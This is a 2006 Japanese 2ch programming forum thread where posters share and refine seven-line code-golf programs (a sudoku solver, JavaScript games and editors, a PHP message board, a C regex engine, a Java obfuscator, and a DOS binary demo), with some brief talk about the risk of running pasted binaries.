七行プログラミング part5

1 :デフォルトの名無しさん :2006/03/16(木) 09:02:39
7行×79文字なら言語は問いません。
過去作品は、もしかしたら>>2-20あたりに。

前スレ
http://pc8.2ch.net/test/read.cgi/tech/1051703369/
part 3
http://pc2.2ch.net/tech/kako/1033/10331/1033143528.html
part 2
http://pc3.2ch.net/tech/kako/1018/10188/1018840143.html
part 1
http://pc.2ch.net/tech/kako/984/984182993.html
2 :デフォルトの名無しさん :2006/03/16(木) 09:39:32
3 :デフォルトの名無しさん :2006/03/16(木) 13:11:36
作品集
http://pc2.2ch.net/test/read.cgi/tech/1033143528/5-15
http://pc2.2ch.net/test/read.cgi/tech/1033143528/25

Pt.2スレの作品一覧
http://pc3.2ch.net/test/read.cgi/tech/1018840143/900-906n
4 :デフォルトの名無しさん :2006/03/17(金) 02:23:31
ここは放置すると即死するのかな。
インデックスでも貼るか
5 :http://www.vector.co.jp/soft/win95/util/se072729.html :2006/03/18(土) 19:49:20
TextSS のWindowsXP(Professional)64bit化おながいします

もしくは64bitにネイティブ対応したテキスト置換ソフトありますか?
6 :デフォルトの名無しさん :2006/03/19(日) 17:43:27
Part 4スレのまとめは
http://pc8.2ch.net/test/read.cgi/tech/1051703369/993-995n
7 :955 :2006/03/21(火) 02:34:36
スレ立てインデックス乙乙

本当はこれがやりたかった。全画面注意
ただ単に作ったファイルを.txtにしてコピペしただけ


3ロウタムテ2ロムテクタタ0GMウ@0G"0G,0G-0G?0GB0GO0GV0G[3タq(自己改変とINT10hの練習)3タq
フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[%
クYJ3テPUSVRRWクm Pクーフ3ナPUSVRRWクm Pクワフ3ナPクョホ3ナPUSVRRWク!!PクンンPPクゥゥPPPクブPRR%
ク /PRRUSVRRWクA}3チPクS13チPクO)Pク6a3チ3ツPクo」3ツPクタa3チ3ツPUSUSVWーA3チエRPクa<3チ3ツP%
ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚%
3ター。HムタムタPPPYャ]ミリ\ェW]3ロキ<ミマ;ンu.3タPPHヘミ_^Iuヘ3ノアPQ^ア。Iムチムチクタヒ5タタヘ!ムネsノヘ フ
8 :デフォルトの名無しさん :2006/03/21(火) 02:43:01
>>7
お見事
9 :デフォルトの名無しさん :2006/03/21(火) 03:04:55
955氏
今回もXPのみ?・・・Orz
10 :デフォルトの名無しさん :2006/03/21(火) 05:34:48
>>9
前スレ973も>>7も、うちの2000で動く。
そもそもDOS命令なんで、OS関係ないと思われ。
前スレ960のMessageBoxは環境依存だと思うけど、
(DLL名の省略の関係?)
改変した前スレ966は2000では動きました。


>>7
すげー。INT10hはこういう使い方ができるのかー。

インデックスの方も乙。
11 :デフォルトの名無しさん :2006/03/21(火) 15:56:26
>>7
すげえええええええええwwwwwwww

こんなのってどうやって付くんの?
テキストに仕方はどうやるんだろ。
アセンブラ作って変換するんだろか・・・
12 :デフォルトの名無しさん :2006/03/21(火) 16:56:57
>>9
行頭・行末にスペースが入ってないことを確認して
CR+LF改行で保存したら98SE@VPCでも動きますた。
&nbsp;はスペースでいいみたい。
13 :デフォルトの名無しさん :2006/03/21(火) 20:20:12
>  はスペースでいいみたい。

一つだけの時は、それで OK だけど、二つ以上つづく時は
  にしないと、(HTML の仕様で) 一つにまとめら
れちゃうよ。
14 :デフォルトの名無しさん :2006/03/21(火) 22:47:21
>>13
いやつまりnon-breaking spaceは$A0だから、さ
15 :デフォルトの名無しさん :2006/03/22(水) 07:41:42
ふと思ったが、バイナリ投稿自体は面白いが流れ的にちと怖くね?
スクリプトのコードなら何の処理か想像つくのが多いだろうが
そのうち簡易ウィルスやOSクラッシャうpる香具師がいつか出そうな悪寒

今浮かんだ対策は
バイナリうp師は必ず頭に「実行は自己責任で」付けるとかその辺

当然っちゃ当然だがバイナリは読めない香具師多そうで怖い
16 :デフォルトの名無しさん :2006/03/22(水) 15:32:07
たしかに。
どんなのプログラムなのか必ずデバッガ上でトレースしてから実行してるが、
いきなり実行する香具師は喰らうだろうな。某流出もそういう仕組みだし。
OS吹き飛ばしたり、HDD全消去くらいなら簡単だろうが、
今の流れの形式で、ウイルスともなるとかなりレベル高そうだな。

けど、グロ画像と同じで、気づいた香具師が警告入れるだろうし、
その上で踏むのなら、自己責任しょ。
テキストに貼り付けて拡張子comに変えた時点で、その行為が意味することくらいわかってなきゃな。


どんな動作するか書いてない、2chに貼られたバイナリをいきなり実行する香具師って・・・
17 :デフォルトの名無しさん :2006/03/26(日) 00:20:49
http://no2.no-ip.info/cgi-bin/imgboard/img-box/img20060326001931.png
>>7を試したらこんなの出たけどこれでいいの?
18 :113 :2006/03/26(日) 01:31:55
では七歩歩く間にプログラムを書くのじゃ。テーマは兄弟にせい。
19 :デフォルトの名無しさん :2006/03/26(日) 10:21:39
うるせーよ、曹丕
20 :デフォルトの名無しさん :2006/03/29(水) 18:40:10
>>18
#include <iostream>
int main()
21 :デフォルトの名無しさん :2006/03/29(水) 20:42:28
>>18
□歩□□玉□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□歩□□□□□□□
□角□□□□□飛□
香桂銀金王金銀桂香
22 :デフォルトの名無しさん :2006/03/29(水) 23:35:04
>>21
二歩でアウトーッ!
23 :デフォルトの名無しさん :2006/03/29(水) 23:44:22
二つではないのでセーフ
24 :デフォルトの名無しさん :2006/03/30(木) 02:22:01
お前頭いいな
25 :デフォルトの名無しさん :2006/03/30(木) 02:50:24
ではどうやって2つ目の歩を置いたんだね。
26 :デフォルトの名無しさん :2006/03/30(木) 02:59:55
お前頭いいな
27 :デフォルトの名無しさん :2006/03/30(木) 03:03:44
初期配置
28 :デフォルトの名無しさん :2006/03/30(木) 03:04:43
二歩と聞くと、豊川六段(前原代表)がNHK杯でにふった時の
千葉女流のあーってさけぶやつを思い出すw。
29 :デフォルトの名無しさん :2006/03/30(木) 11:37:20
二歩の判定に==使うコードが悪いな
俺なら>=使う
30 :デフォルトの名無しさん :2006/03/30(木) 11:55:00
>=を使ったらルールが変わってるよ。
31 :デフォルトの名無しさん :2006/03/31(金) 22:27:06
7分以内に答えられたらIPA認定
http://oshiete1.goo.ne.jp/kotaeru.php3?q=2063991
#include <iostream.h>
main(){
char *(*pp)[3];
printf("%lu", sizeof(char*));
printf(" pp%lu", pp);
printf(", ++pp%lu", ++pp);
}
32 :デフォルトの名無しさん :2006/03/31(金) 22:30:32
匕行プログラミング
33 :デフォルトの名無しさん :2006/03/31(金) 23:41:25
pointer to array of pointer to charかね
 sizeof(char*  )== 4
 sizeof(char*[3])== 12
だから12増えるのが正解だろ。
34 :デフォルトの名無しさん :2006/03/32(土) 00:18:13
>>33
ありがとうございました。やっと分かりました。
あとで、20ポイントつけておきますね。
35 :デフォルトの名無しさん :2006/03/32(土) 01:41:12
や、俺gooに登録してへんから('ω`)
36 :デフォルトの名無しさん :2006/03/32(土) 23:59:38
最も偏差値の高いスレはここですね?
37 :せっ☆マ ◆wwwwWwWWWw :2006/04/05(水) 15:15:35
とうとうVIPから来てしまいました
38 :デフォルトの名無しさん :2006/04/05(水) 22:39:45
安南将棋って知らないの?
39 :デフォルトの名無しさん :2006/04/08(土) 19:25:54
過去スレみれねえ
まとめサイト欲しい
40 :デフォルトの名無しさん :2006/04/08(土) 19:32:57
>>39
ttp://cm.xrea.cc/
41 :デフォルトの名無しさん :2006/04/09(日) 00:07:50
>>40
じつに素晴らしい
42 :デフォルトの名無しさん :2006/04/09(日) 00:19:28
#include <windows.h>
double sin();char b[99];long*h,w[]={65537,8000,8000,524289,20},d[]={b,99,0,0,0,
1,0,0};WINAPI f(t,u,x,y,z){waveOutReset(h);waveOutWrite(h,d,32);}main(c,v)char
**v;{if(c>1){for(c=99;c--;b[c]=sin(c*0.7854)*64);if((c=atoi(v[1]))>0){waveOutO\
pen(&h,-1,w,0,0,0);waveOutPrepareHeader(h,d,32);for(c=timeSetEvent(60000/c,1,f,
timeBeginPeriod(1),1);!kbhit();Sleep(1));timeKillEvent(c);waveOutReset(h);wave\
OutUnprepareHeader(h,d,32);waveOutClose(h);}}}

Win32用簡易メトロノーム。コマンドライン引数でBPMを指定。何かキーを押せば終了します。
マルチメディアタイマーを利用しているのでwinmm.libとのリンクが必要。
43 :デフォルトの名無しさん :2006/04/09(日) 23:47:28
#include <stdio.h>
int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\
%d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=8;i--;)c[a[n/9*9+i]]=c[a[n%
9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1)
,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);}
数独を解くプログラムのつもり。あと2行あるからなんかしたいけど何をしようか思いつかん。
標準入力として↓みたいなファイルを食わせると答えを出す。
0 0 6 0 0 0 0 0 1
0 7 0 0 6 0 0 5 0
8 0 0 1 0 3 2 0 0
0 0 5 0 4 0 8 0 0
0 4 0 7 0 2 0 9 0
0 0 8 0 1 0 7 0 0
0 0 1 2 0 5 0 0 3
0 6 0 0 7 0 0 8 0
2 0 0 0 0 0 4 0 0

ぶっちゃけ七行やったこと殆どないんで無駄が多そう。
ちなみにあほ再帰なんで表出が減るとあほみたいに遅くなります。
将来は数々の人々みたいに立派な七行erになりたい。
44 :デフォルトの名無しさん :2006/04/10(月) 11:38:48
>>43
4 0 0 0 0 0 8 0 2
0 0 0 0 1 8 0 0 9
2 0 0 3 0 5 0 0 0
0 5 0 0 6 0 2 0 0
0 0 0 7 0 4 0 9 0
0 7 0 0 2 0 0 3 6
0 0 0 9 0 0 7 0 0
8 0 6 0 7 0 0 0 0
0 0 5 0 0 0 6 0 4
の問題で誤答が出ました。
45 :デフォルトの名無しさん :2006/04/10(月) 18:15:37
>>40
GJ!
46 :デフォルトの名無しさん :2006/04/11(火) 19:11:53
>>44単純なミスだった。あほだなあ自分。他にもバグめっさあるかも。
#include <stdio.h>
int a[81];s(n){int i=80,c[10];if(a[n])s(n+1);else if(n>80)for(;~i;i--)printf("\
%d%c",a[i],i%9?0:10);else{for(i=9;i;)c[i--]=0;for(i=9;i--;)c[a[n/9*9+i]]=c[a[n%
9+i*9]]=c[a[n/27*27+n%9/3*3+i%3+i/3*9]]=1;for(i=1;i<=9;i++)c[i]||(a[n]=i,s(n+1)
,a[n]=0);}}main(i){i=80;for(;~i;)scanf("%d",&a[i--]);s(0);}
47 :デフォルトの名無しさん :2006/04/11(火) 22:23:27
>>43
入力が正規な問題かどうかを判定するルーチンいれられません?
現状だと1を81個でも(そのまんまになるが)解答として出力されるので。
48 :デフォルトの名無しさん :2006/04/12(水) 16:36:52
>>46
解答をリダイレクトすると 0x00 が出力されてるので
printf("%d%c",a[i],i%9?32:10);
の方がいいかも。
複数解答があるときは行をあけて欲しいなぁとか。
すでに7行以下だと最適化するのもむなしいなー。
49 :デフォルトの名無しさん :2006/04/13(木) 23:15:08
#include <stdio.h>
int a[81],c[10],j,k;o(){for(j=80;~j;j--)for(k=80;k>j;k--)if((j/9==k/9||j%9==k%9
||(j/27==k/27&&j%9/3==k%9/3))&&a[j]==a[k]&&a[j])return 0;return 1;}s(n){int i=
80;if(a[n])s(n+1);else if(n>80){for(;~i;i--)printf("%d%c",a[i],i%9?32:10);puts(
"\n");}else{for(i=1;i<=9;i++)(a[n]=i,o()?s(n+1):0,a[n]=0);}}main(i){i=80;for(;~
i;)scanf("%d",&a[i--]);o()?s(0):puts("問題おかしい");}
あちこち無駄っぽい。むう。
どのみちもう7行きってて微妙だからなんか別のものを組もうかなぁ。
50 :デフォルトの名無しさん :2006/04/14(金) 10:39:22
逆に問題を生成してみるとか。
あ、生成と解答をまとめると結構ハードル高くなるかな?
51 :デフォルトの名無しさん :2006/04/15(土) 02:15:07
初代スレ読んできたけどレベル高いなぁ。トリッキーの1と60がすさまじい。
初代スレのWindows関連は面白かったから、ああいうのでなんかお題プリーズ。
52 :デフォルトの名無しさん :2006/05/07(日) 16:27:06
保守&新しい息吹待ちage
53 :デフォルトの名無しさん :2006/05/10(水) 00:45:47
Java script アイコンエディタ おそらくIE6専用(Mozilla 1.7は不可)

大きい■をクリックで、下のボックスに入力した色が塗られる(各色0-255)。
左上のアイコンをクリックすると、別ウィンドウで ppm 形式のデータを表示するので、
表示>ソース>メモ帳などが開いたら名前をつけて保存>何とか.ppm
大きさの変更は、1行目のA=16を適当にいじる

機能も不十分だが、最大の問題点は8行だということ。誰か頼む。

<body><script>Z=[A=16];B=document.all;s=S="<br>";function Y(D){(D?self:open()).
document.writeln(S)}function X(p){for(c="#",i=0;i<3;S="P3\n"+A+" "+A+"\n255")c
+=(0+(Z[p*3+i]=B.tags("input")(i++).value-0).toString(16)).slice(-2);B(P=7+p*2+
p/A|0).style.color=B(++P).style.background=c;for(i=0;i<A*A*3;S+=Z[i++]+" ")i%(3
*A)?0:S+="\n"}for(i=0;i<A*A;i%A?0:S+=s,S+="<b style=color:#AAA onClick=X("+i+
")>■</b><p style=background:#AAA;position:absolute;top:"+(i/A|0)*2+";left:"+(
i++%A)*2+";overflow:hidden;width:2;height:2 onClick=Y()></p>")for(j=3;j--;)Z[i*
3+j]=176;Y(S+=s)</script>R<input>G<input>B<input>
54 :デフォルトの名無しさん :2006/05/10(水) 04:01:31
>>53の改良
少しインターフェースが違っているが7行化+Firefoxでも動くように。
多分Operaでも動くと思う。

<div style="width:256px"><script>A=16;function X(p){for(c=[],i=0;i<3;i++)c[i]=Z
[3*p+i]=+D.T("input")[i].value;D.T("b")[p].style.background="rgb("+c.join(",")+
")";}Z=[];D=document;for(i=0;i<A*A;D.write("<b style='background:#aaa;float:l"+
"eft;overflow:hidden;width:16px;height:16px;' onclick='X("+i+")'></b>"),i++)for
(j=3;j--;)Z[i*3+j]=176;D.T=D.getElementsByTagName;</script></div>R<input>G
<input>B<input><button onclick="s='P3\n'+A+' '+A+'\n255';for(i=0;i<A*A*3;s+=Z[
i++]+' ')i%(3*A)?0:s+='\n';with(self.open().document){writeln(s);close()}">出力
55 :デフォルトの名無しさん :2006/05/11(木) 00:06:33
昔、お遊びでここにBASIC書いてみた者(何本か前の448)ですが、久々にここに
来てあれ書いてた頃が懐かしくなったですよ。
・・いまだに7行は達成できないんだけどorz
#それどころか、会社入ってから書かされるプログラムは肥大化して行くばかり
56 :デフォルトの名無しさん :2006/05/11(木) 01:45:24
複数人での開発には、ワンライナーや7行みたいな
詰め込みコードは向かないし、他の人がコード見る場合があれば迷惑だよ
だから、行数が増えるのは別に悪い事じゃない。

#短く分かり易く書けるのに、無意味に長く難しく書くのも迷惑ダガナー
57 :デフォルトの名無しさん :2006/05/11(木) 22:54:48
でも7行書きは楽しいよ?
大学の課題提出とか無意味に七行化しちゃうよ
58 :デフォルトの名無しさん :2006/05/11(木) 23:46:08
迷惑かどうかを考えるスレじゃないしね。
59 :デフォルトの名無しさん :2006/05/12(金) 00:15:40
>>56>>55最終行へのレスだろう。
60 :デフォルトの名無しさん :2006/05/16(火) 15:46:12
ttp://kihira.jp/index.php?Joke%20Programs
これ、トリッキーの1本人?それとも壮大なパクリ?
61 :デフォルトの名無しさん :2006/05/16(火) 17:55:35
>>60
2chって文字が・・・
多分パクリ
62 :デフォルトの名無しさん :2006/05/16(火) 18:30:46
>>61
Part1の32で

> (関東など一部の地域での)テレビの2ちゃんねるシミュレータ、
> すなわち砂嵐シミュレータを作ってみました。ざーっていうあれです。音は鳴らないけど。

とあるから、パクリの証拠ではないんじゃない?
63 :デフォルトの名無しさん :2006/05/17(水) 00:54:35
パクリなら他の人の作品もパクるだろうから、
トリッキーの1さんっぽい気はする。
経歴みても頭良さそうだし。
64 :デフォルトの名無しさん :2006/05/17(水) 03:16:25
どうせ外人がパクったんだろ、と思ったら、日本ドメインじゃねーかw
確かに、1さんかもしれんな
65 :デフォルトの名無しさん :2006/05/18(木) 23:24:04
>>7
イミフWWWウハWWWWオkWWWW
ウェウェWWWWWWW
66 :デフォルトの名無しさん :2006/05/19(金) 17:49:30
>>65
コピーしてテキストエディタに貼付けて拡張子.comで保存

但し2chビューア等には、ご丁寧にも
半角スペースみたいな記号を
コピー時に&表記に変換したりする機能があったりするので
出来れば普通のブラウザからコピーを推奨
67 :デフォルトの名無しさん :2006/05/19(金) 18:56:48
>>66
>>7の2行目と5行目のことじゃね?
68 :デフォルトの名無しさん :2006/05/19(金) 21:30:54
>67
空白行?
69 :デフォルトの名無しさん :2006/05/19(金) 22:14:04
つーかcomファイルなんて実行できねえよ
70 :デフォルトの名無しさん :2006/05/19(金) 22:39:38
>>68
二行目
> フフフフフフフフフフフフケタタイ カ サョo3レS]サ」J3レセ -ク$$Pクヘハ3チP_SXイミフWWWウハWWWWオkWWWWイ オタP[%
五行目                                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~
> ーA3チエ^PUSVRRーハ3チエ PウェウェWWWWWWW3ター"ムネヘミT]ク&&2タムネ3ノア。3メ3ロSSヘミ^_ク@QムタPPヌ゚%
                  ~~~~~~~~~~~~~~~~~
71 :デフォルトの名無しさん :2006/05/19(金) 23:24:49
>>70
作者乙
72 :デフォルトの名無しさん :2006/05/19(金) 23:55:08
>>69
死ね
73 :デフォルトの名無しさん :2006/05/23(火) 08:28:49
comファイルはバイナリそのもので、
プログラムングとは言えないんじゃね?
74 :デフォルトの名無しさん :2006/05/23(火) 08:41:54
貴様ヘッドアセンブルを否定したな!
75 :デフォルトの名無しさん :2006/05/23(火) 10:20:29
この類のは散々既出かもしれませんが、PHPで1行掲示板を書いてみました。
連投対策(同IPから60秒間連投を制限)も一応施してあります。なんかまだまだ
短くできそうな悪寒がします。

<?$ip=$_SERVER['REMOTE_ADDR'];$d=time();$n=htmlspecialchars($_POST['n']);
$m=htmlspecialchars($_POST['m']);$p="log.txt";if($n&&$m){$l=@file($p);
$s=explode("<>",$l[0]);if(($ip!=$s[0])||($d-$s[3]>60)){$fp=fopen($p,"w+");fputs
($fp,$ip."<>".$n."<>".$m."<>".$d."<>\n");for($i=0;$i<20;$i++)fputs($fp,$l[$i]);
fclose($fp);}}?><form method=POST><input name=n>:<input name=m><input type=
submit><?$l=@file($p);foreach($l as $arr){$s=explode("<>",$arr);print("<hr>[".
$s[1]."] ".$s[2]." (".date("Y/m/d h:i:s", $s[3]).")");}?>
76 :デフォルトの名無しさん :2006/05/23(火) 18:25:51
確かにプログラムングとは言えないな
77 :デフォルトの名無しさん :2006/05/23(火) 18:31:57
>>75
PHPは関数名が長いね…

縮め、改行入力阻止、0のみ入力許可
<?$f=array('n','m');foreach($f as&$v){$v=strtr(htmlspecialchars($_POST[$v]),
"\n",' ');}$p='log.txt';if($f[0]!=''&&$f[1]!=''){$l=@file($p);$s=explode('<>',
$l[0]);if(($ip=$_SERVER['REMOTE_ADDR'])!=$s[0]||($d=time())-$s[3]>60){$l[20]=''
;file_put_contents($p,"$ip<>$f[0]<>$f[1]<>$d<>\n".implode('',$l));}}?><form
method=POST><input name=n>:<input name=m><input type=submit><?$l=@file($p);
foreach($l as$arr){$s=explode('<>',$arr);echo"<hr>[$s[1]] $s[2] (".date(
'Y/m/d h:i:s',$s[3]).')';}?>
78 :デフォルトの名無しさん :2006/06/29(木) 14:59:10
保守
79 :デフォルトの名無しさん :2006/07/18(火) 21:50:29
ホッシュ
80 :デフォルトの名無しさん :2006/08/10(木) 02:37:10
シェルピンスキーのギャスケット

#include <stdio.h>
main()
{
    int x, y;
    for (y = 0; y < 32; y++){ for (x = 0; x < 32; x++)
    printf(x & y? "..": "■"); printf("\n"); }
}
81 :デフォルトの名無しさん :2006/08/19(土) 15:58:18
JavaScript 弾避け。マウスカーソルを四角にぶつけないように動かす
互換性のないように作ってあるので、IE専用

<body id=B onMouseMove=y=event.y;x=event.x><script>h=B.clientHeight-20;a=[b=[q=
[D=document]]];for(U=x=99;x--;C=F=q[x]=P=y=0)D.write("<b style=background:red;"
+"width=16;height=16;position:absolute;top:-20></b>");function T(){for(i=C;i--*
!F;J=D.all(5+i).style,l=q[i]/U,m=J.left=a[i]*(c=1-l)+a[d=i+U]*l,n=J.top=b[i]*c+
b[d]*l,F=m-15<x&x<m+16&n-15<y&y<n+16)if(!q[s=i]--)for(j=2;j--;s+=R%3+1)R=Math.
random(q[i]=U)*w*h|0,a[c=j?i:i+U]=s%2?s%4>1?0:w:R%w,b[c]=s%2?R%h:s%4?h:0;P++-C*
9||C-U&&C++;if(F)alert(P);else setTimeout(T,U-C)}T(w=B.clientWidth-20)</script>
82 :デフォルトの名無しさん :2006/08/19(土) 16:15:30
GJ!
だんだん多く速くなるあたり職人芸だな
83 :デフォルトの名無しさん :2006/08/28(月) 21:02:17
保守age
84 :デフォルトの名無しさん :2006/09/29(金) 15:58:31
保守
85 :デフォルトの名無しさん :2006/10/09(月) 16:07:24
hosyu
86 :デフォルトの名無しさん :2006/10/10(火) 20:06:29
俺には無理だったお題
perlでモジュールを使わずに7行でRSSリーダー(RSS to html)を作れ

LWP::Simpleも使わずに7行はやっぱり無理か??
87 :デフォルトの名無しさん :2006/10/10(火) 20:13:20
RSSリーダーの定義による
88 :86 :2006/10/10(火) 20:24:20
定義はRSSをgetして、htmlに変換するってもの
LWP::Simpleと、XML::RSSで作れたんだがモジュール無しは俺にはむりぽ
89 :デフォルトの名無しさん :2006/10/10(火) 23:22:55
Socketも使えんがな
90 :デフォルトの名無しさん :2006/10/10(火) 23:32:32
curlで取得
91 :デフォルトの名無しさん :2006/10/10(火) 23:33:19
一先ずLWP::Simpleだけで作れないかやってみるお
92 :デフォルトの名無しさん :2006/10/11(水) 00:28:14
XSLT使えば2〜3行で書けるんじゃない?あほらしくてやる気しないけど
93 :デフォルトの名無しさん :2006/10/12(木) 14:02:19
じゃあ俺も無理だったお題。
Cで7行正規表現。どうやっても7行は無理だったw 腕に覚えのある奴がいたら、是非挑戦してみてくれ。
94 :デフォルトの名無しさん :2006/10/12(木) 14:07:44
>>93
正規表現って何をサポートすればいいんだ?
95 :デフォルトの名無しさん :2006/10/12(木) 22:49:52
#include "regexp.h"
96 :デフォルトの名無しさん :2006/10/12(木) 22:53:17
#include <boost/regex.h>
97 :デフォルトの名無しさん :2006/10/14(土) 02:02:18
catコマンドってC言語で7行で作れる?
どこまでの機能を詰め込めるかの問題になりそうだけど。
98 :97 :2006/10/14(土) 02:04:30
作れる?ってのはおかしいか。
作るだけなら余裕だろうし。
どれだけ機能を削ったり詰め込めるかって感じ。
99 :トリッキーの1 :2006/10/14(土) 05:40:11
お久しぶりです。part1でお世話になったトリッキーの1です。
>>60-64で晒されていますが、そのサイトは私のサイトです。
正規表現が面白そうだったので久々に作ってみましたが、9行になりました。
縮めるテクニックなどを完全に忘れてしまっていますが、頑張れば7行は可能そうです。
仕事の合間に7行目指して頑張ってみようと思います。

使える記号は()*|のみです。とりあえずこれだけあれば他のも表現できると思います。
文脈自由文法は、
R ::= T | T "|" R
T ::= ε | FT
F ::= P | P*
P ::= char | "(" R ")"
となっています。gcc2.91でのみコンパイル確認しました。
使い方は、"a.exe regexp"とすれば、標準入力から読んだ内容をregexpで走査します。
見つかればmatchと表示して終了します

#include <stdio.h>
int n[999][99],z=2,i;char*s,c[999][99],v[9999];h(f,t,k){for(i=0;c[f][i]!=0;i++)
;c[f][i]=k;n[f][i]=t;}p(int o,int f,int t,char*l){int x;if(l){for(x=0;(f=c[o][x
])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0,0,(f==1)?l:l+1)))return 1;
}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:(o==1)?(*s==')'||*s=='|'||*s
==0)?h(f,t,1):(x=z++,p(2,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p
(3,f,x,0),(*s=='*')?h(f,t,1),s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t,0),++
s,0):h(f,t,*s++):0;}}main(int x, char**o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;
while(*s){if(p(0,0,0,s++))return printf("match");}}}
100 :トリッキーの1 :2006/10/14(土) 05:47:13
多分大体のコンパイラで動くバージョンはこちらです。連投失礼しました。

#include <stdio.h>
int n[999][99],z=2,i;char*s,c[999][99],v[9999];p(int o,int f,int t,char*l){int
x;if(l){for(x=0;(f=c[o][x])!=0;x++)if((f==1||*l==f)&&(n[o][x]==1||p(n[o][x],0,
0,(f==1)?l:l+1)))return 1;}else{(o==0)?p(1,f,t,0),(*s=='|')?s++,p(0,f,t,0):0:(
o==1)?(*s==')'||*s=='|'||*s==0)?c[f][c[f][98]]=1,n[f][c[f][98]++]=t:(x=z++,p(2
,f,x,0),p(1,x,t,0)):(o==2)?(x=z++,c[x][0]=1,n[x][0]=t,p(3,f,x,0),(*s=='*')?c[f
][c[f][98]]=1,n[f][c[f][98]++]=t,s++,n[x][0]=f:0):(*s)?(*s=='(')?(s++,p(0,f,t,
0),s++,0):(c[f][c[f][98]]=*s++,n[f][c[f][98]++]=t):0;}return 0;}main(int x,char
**o){s=o[1];p(0,0,1,0);while(gets(v)){s=v;while(*s){if(p(0,0,0,s++))return
printf("match");}}return 0;}
101 :デフォルトの名無しさん :2006/10/14(土) 10:22:42
キタ━━(━(━(-( ( (゚∀゚) ) )-)━)━) ━━ !!!!!
102 :デフォルトの名無しさん :2006/10/14(土) 11:17:28
凄すぎます。
103 :デフォルトの名無しさん :2006/10/14(土) 14:51:06
天 才 現 る
104 :デフォルトの名無しさん :2006/10/14(土) 14:53:22
何て恐ろしい子!
105 :デフォルトの名無しさん :2006/10/14(土) 15:15:59
BNFの自前パース+NFA検索ってところかな?
10行でもありえないくらい凄いよ…本当に7行なんて出来るんだろうか
106 :デフォルトの名無しさん :2006/10/15(日) 01:37:57
よく読んでないんだけどa==bを使ってるところをうまくa-bにするとかで数文字減れないかな
107 :トリッキーの1 :2006/10/15(日) 02:06:53
>>105
おお、その通りです。あのコードからよくわかりましたね!
DFAにすべきなんでしょうが、動けばいいやってことでNFAにしました。
でも現状では最初に適当に作りすぎたためにどんなに頑張っても9行なので、
行数を減らすことを前提に少し構造を変えないといけないかも…
等価なBNFで状態数の小さいものを書くことが出来ればなんとかなるのかな?

>>106
ヒントありがとうございます。
まだ小細工は全然していないのですが、数文字が重要になってきたら試してみます。

7行達成したらお披露目にきますね ノシ
108 :デフォルトの名無しさん :2006/10/15(日) 12:12:36
int x;if(l){for(x=0;

int x=0;if(l){for(;

こういう積み重ねが大事なんだろうな。 人間ってすごいな。
109 :デフォルトの名無しさん :2006/10/15(日) 13:28:33
for(int x=0; はC言語では駄目なんだっけ
C++で出来るようになったのか
110 :デフォルトの名無しさん :2006/10/15(日) 14:07:28
>>109
C99なら可。
111 :デフォルトの名無しさん :2006/10/15(日) 19:01:41
(o==0)?(A):(B) → (o)?(B):(A)
とかあるけど……まぁそれでも7行には入りそうにないな。
もっと根本的な対策がいる。
112 :デフォルトの名無しさん :2006/10/16(月) 01:50:15
'|' とかの即値を数字で書くと一字減る
113 :デフォルトの名無しさん :2006/10/16(月) 06:58:49
>>112
それは限りなく最後の手段。ASCII文字配列でないコンピュータで動かなくなる。
114 :デフォルトの名無しさん :2006/10/16(月) 07:58:30
いつの時代のコンピューだよw
115 :デフォルトの名無しさん :2006/10/16(月) 15:10:16
いや、それは気にすべきだろ。
116 :デフォルトの名無しさん :2006/10/16(月) 15:48:13
こういう基本的なことは重要
117 :デフォルトの名無しさん :2006/10/16(月) 17:02:54
それよりもコンピューという略し方のほうが異常だと僕は思うね。
118 :デフォルトの名無しさん :2006/10/17(火) 00:14:52
>>117
ついに「ぴゅー太」と呼ぶ時代が来たようだな。 時代が追いついてきたな。
119 :デフォルトの名無しさん :2006/10/17(火) 00:20:38
マイコンと呼ぶ日も近そうだ。ベーマガスペシャル復刊とかね
120 :デフォルトの名無しさん :2006/10/17(火) 01:03:25
1chipMSX買っちゃったしね。
121 :デフォルトの名無しさん :2006/10/27(金) 23:58:59
BCELを使った Java難読化プログラムです.
現在,9行.あと少し.キャストがうぜぇ.groovy なら問題なくできるだろう.

import org.apache.bcel.classfile.*;class O{public static void main(String[]s)
throws Exception{new O(new ClassParser(s[0]).parse());}int n=0;void u(Constant
c){ConstantUtf8 u=(ConstantUtf8)c;if(u.getBytes().charAt(0)!='<')u.setBytes(""+
++n);}O(JavaClass j)throws Exception{ConstantPool p=j.getConstantPool();
Constant[]c=p.getConstantPool();for(int i=0;i<c.length;i++){if(c[i]!=null){int
t=c[i].getTag();if(t>8&&t<12){ConstantCP q=(ConstantCP)c[i];if(j.getClassName()
.equals(q.getClass(p)))u(c[((ConstantNameAndType)c[q.getNameAndTypeIndex()]).
getNameIndex()]);}}}u(c[((ConstantClass)c[j.getClassNameIndex()]).getNameIndex(
)]);j.dump(n+".class");}}

BCELじゃなく,ASMとか,javassist を使ったほうがいいのかな?

java -cp .:bcel.jar O <target classfile>
122 :デフォルトの名無しさん :2006/10/28(土) 01:02:08
>>121
純粋な疑問なんだけど、importが許されるなら、そこで全部書けばいいんじゃない?
123 :デフォルトの名無しさん :2006/10/28(土) 15:16:15
>>122
「BCELを使った」が前提なだけだから、BECL以外をimportしちゃダメだろう。

もちろん他所で書いてimportして「1行で書きました! 7行以下だからいいよね!」
って主張するのは各人の勝手だとは思うけど、スルーされるか叩かれるだけじゃね?
